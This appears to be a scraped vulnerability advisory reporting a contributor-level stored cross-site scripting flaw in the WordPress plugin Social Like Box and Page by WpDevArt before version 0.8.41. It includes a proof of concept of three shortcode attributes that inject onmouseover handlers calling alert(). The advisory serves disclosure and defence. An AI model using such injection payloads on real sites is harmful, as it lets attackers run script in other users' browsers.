Social Like Box and Page by WpDevArt < 0.8.41 - Contributor+ Stored XSS

2023-01-2300:00:00

Lana Codes

wpscan.com

social like box

page

wpdevart plugin

stored xss

cross-site scripting

contributor role

security vulnerability

0.001 Low

EPSS

Percentile

23.5%

JSON

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

PoC

[wpdevart_like_box height=‘" onmouseover=“alert(/XSS-1/)”’] [wpdevart_like_box border_color=‘" onmouseover="alert(/XSS-2/)//’] [wpdevart_like_box locale=‘" onmouseover="alert(/XSS-3/)//’]